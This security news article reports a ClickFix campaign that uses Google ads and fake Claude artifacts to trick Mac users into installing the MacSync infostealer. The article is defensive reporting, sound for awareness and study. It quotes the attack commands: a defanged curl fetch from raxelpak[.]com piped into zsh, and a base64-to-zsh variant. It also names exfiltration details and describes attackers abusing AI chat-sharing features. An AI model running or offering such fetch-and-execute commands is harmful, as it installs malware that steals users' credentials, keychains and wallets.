One out of every hundred Mac users searching online might now face hidden risks. Instead of helpful tools, some find traps disguised as guides – especially when looking up things like “DNS resolver” or “HomeBrew.” Behind these results, attackers run silent operations using fake posts linked to real services. Notably, they borrow content connected to Claude, spreading it through paid search ads on Google. Each click can lead straight into their hands. Two separate versions of this scheme are already circulating. Evidence suggests more than ten thousand people followed the harmful steps without knowing. Most never realized what was taken. Quiet but widespread, the pattern reveals how easily trust gets hijacked in plain sight.
Beginning with public posts shaped by Anthropic’s AI, a Claude artifact emerges when someone shares output from the system online. Hosted on claude.ai, such material might include scripts, how-tos, or fragments of working code – open for viewing through shared URLs. During recent ClickFix operations, deceptive search entries reroute people toward counterfeit versions of these documents. Instead of genuine help, visitors land on forged Medium pieces mimicking Apple’s support site. From there, directions appear telling them to insert command-line strings straight into Terminal. Though it feels harmless at first glance, that single step triggers the start of compromise.
The technical execution of these attacks involves two primary command variants. One common method utilizes an `echo` command, which is then piped through `base64 -D | zsh` for execution. The second variant employs a `curl` command to covertly fetch and execute a remote script: `true && cur””l -SsLfk –compressed “https://raxelpak[.]com/curl/[hash]” | zsh`. Upon successful execution of either command, the MacSync infostealer is deployed onto the macOS system. This potent malware is specifically engineered to exfiltrate a wide array of sensitive user data, including crucial keychain information, browser data, and cryptocurrency wallet details.
One way attackers stay hidden involves disguising their traffic as ordinary web requests. A suspicious Claude guide, spotted by Moonlock Lab analysts, reached more than 15,600 users – an indicator of wide exposure. Instead of sending raw information, the system bundles stolen content neatly into a ZIP file, often stored temporarily under `/tmp/osalogging.zip`. This package then travels outward through an HTTP POST directed at domains such as `a2abotnet[.]com/gate`. Behind the scenes, access relies on fixed credentials: a preset token and API key baked directly into the code. For extra stealth, it mimics a macOS-based browser’s digital fingerprint during exchanges. When uploads stall, the archive splits into lighter segments, allowing repeated tries – up to eight attempts occur if needed. Once delivery finishes, leftover files vanish instantly, leaving minimal evidence behind.
This latest operation looks much like earlier efforts where hackers used chat-sharing functions in major language models – like ChatGPT and Grok – to spread the AMOS infostealer. What makes the shift toward targeting Claude notable is how attackers keep expanding their methods across different AI systems. Because of this, users need to stay highly alert, especially when it comes to running Terminal instructions they do not completely trust. One useful check, pointed out by Kaspersky analysts, means pausing first to ask the same assistant about any command’s intent and risk before carrying it out.
This article has been indexed from CySecurity News – Latest Information Security and Hacking Incidents
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